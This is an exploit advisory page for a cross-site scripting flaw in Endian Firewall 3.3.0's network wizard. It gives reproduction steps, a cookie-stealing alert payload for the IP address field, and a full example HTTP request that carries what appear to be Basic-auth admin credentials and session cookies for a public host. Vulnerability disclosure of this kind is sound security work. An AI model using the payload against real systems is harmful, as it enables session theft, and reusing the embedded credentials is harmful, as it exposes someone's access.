Endian Firewall 3.3.0 Cross Site Scripting

2019.08.23
Credit: G0dfather
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

# Exploit Title: Endian Firewall cross-site scripting (XSS) # Date: 08/22/2019 # Exploit Authors: Milad Soltanian + G0dfather ( @irpwn ) # Vendor Homepage: https://www.endian.com # Version : 3.3.0 An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 1 - login 2 - open the url below to edit network configuration 3 - forward the step till u face Step 3/8: Network preferences 4 - now put the payload in IP address input [PAYLOAD] = "><img src=aWd3l onerror=alert(document.cookie)><!-- [EXAMPLE REQUESTE] POST /cgi-bin/netwizard.cgi HTTP/1.1 Host: 5.9.96.86:10443 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 272 Authorization: Basic YWRtaW46bWEhQCM0NTY= Connection: close Referer: https://192.168.1.10:10443/cgi-bin/netwizard.cgi Cookie: en-visit=216e4cac7868d0ca041c21489faa817d1a8faca5; session_id=2fcdb768fee725b270598427fa6f4ed10f6774ca; endian_webshell=354369204 Upgrade-Insecure-Requests: 1 session_id=174960656&step=3&DHCP_ENABLE_GREEN=on&DISPLAY_GREEN_ADDRESS=%22%3E%3Cimg+src%3DaWd3l+onerror%3Dalert%28document.cookie%29%3E%3C%21--&DISPLAY_GREEN_NETMASK=24&DISPLAY_GREEN_ADDITIONAL=&GREEN_DEVICES=0&HOSTNAME=efw-82aabd1d48&DOMAINNAME=localdomain&next=%3E%3E%3E


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top